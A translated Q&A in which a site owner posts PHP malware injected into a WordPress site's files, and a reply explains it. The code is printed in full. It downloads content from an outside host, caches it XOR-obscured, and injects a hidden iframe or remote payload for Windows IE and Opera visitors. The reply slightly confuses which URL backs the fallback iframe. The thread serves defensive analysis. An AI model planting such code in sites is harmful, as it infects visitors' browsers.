0

このコードが正確に何をしているのか、誰か説明できますか? ハッカーがワードプレスのインストールでこれを私のphpファイルのそれぞれに追加したようです。接続を開き、その URL からファイルをダウンロードしていることを理解しています。他に何か?

if (!defined('frmDs')){
    define('frmDs' ,1);

    function frm_dl ($url) {
        if (function_exists('curl_init')) {
            $ch = curl_init($url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            $out = curl_exec ($ch);
            if (curl_errno($ch) !== 0) $out = false;
            curl_close ($ch);
        } else {$out = file_get_contents($url);}
        return trim($out);
    }

    function frm_crpt($in){
        $il=strlen($in);$o='';
        for ($i = 0; $i < $il; $i++) $o.=$in[$i] ^ '*';
        return $o;
    }

    function frm_getfrm()
    {
        $defframe = '<style>.blqrgw { position:absolute; left:-1117px; top:-1046px; }</style> <div class="blqrgw"><iframe src="http://kchergnrxp.myfw.us/jquery/get.php?ver=jquery.latest.js" width="371" height="426"></iframe></div>'; //default frame
        $codelink = 'http://kchergnrxp.myfw.us/nc/gnc.php?ver=jquery.latest.js';
        if (!$codelink){
            return $defframe;
        }

        $dr='/var/tmp';
        $f = $dr.'/sess_'.md5('frm_frame');
        if(!file_exists($f) || time() - filemtime($f) > 60*5)
        {
            $dlc = frm_dl($codelink);
            if ($dlc){
                if ($fp = @fopen($f, 'w')){
                    fwrite($fp, frm_crpt($dlc));
                    fclose($fp);
                }
                else
                    return $dlc;
            }
            else
                @unlink($f);
        }
        $fc = @file_get_contents($f);
        return ($fc)?frm_crpt($fc):$defframe;
    }

    $ua = $_SERVER['HTTP_USER_AGENT'];
    if (preg_match('/Windows/', $ua) && preg_match('/MSIE|Opera/', $ua) ){
        error_reporting(0);

        if(!isset($_COOKIE['__utmfr']) && $nfc=frm_getfrm() ) {
            @setcookie('__utmfr',rand(1,1000),time()+86400*7,'/');
            print($nfc);
        }
    }
}
4

1 に答える 1

4
if (!defined('frmDs')){
define('frmDs' ,1);

これは frmDs 変数が存在するかどうかをチェックします。スクリプトが 2 回実行されるのを防ぐためだと思います (同じ関数を 2 回定義するとエラーが発生します)。

関数定義の後、実行されるコードの最初のブロックは $ua = $_SERVER['HTTP_USER_AGENT']; です。if (preg_match('/Windows/', $ua) && preg_match('/MSIE|Opera/', $ua) ){ error_reporting(0);

    if(!isset($_COOKIE['__utmfr']) && $nfc=frm_getfrm() ) {
        @setcookie('__utmfr',rand(1,1000),time()+86400*7,'/');
        print($nfc);
    }
}

上記のコード ブロックでは、ユーザーが Cookie __utmfr を持っているかどうかを確認し、設定されていない場合は frm_getfrm() の結果を Web 出力に出力します。

つまり、ユーザーが初めてサイトにアクセスした場合、ユーザーは HTML ページの先頭で frm_getfrm() の結果を取得します。

関数 frm_getfrm() は複雑ですが、最終的には、外部 Web サイトhttp://kchergnrxp.myfw.us/nc/gnc.php?ver=jquery.latestのコンテンツを含む非表示の IFRAME を返そうとします。 .js は、ホスティング サーバーが外部サーバーに接続できない場合に使用します。サーバーが外部サーバーに接続できる場合、スクリプトは PHP 組み込み関数を使用してhttp://kchergnrxp.myfw.us/nc/gnc.php?ver=jquery.latest.jsのコンテンツをダウンロードし、それを返します。

于 2013-04-30T17:28:45.917 に答える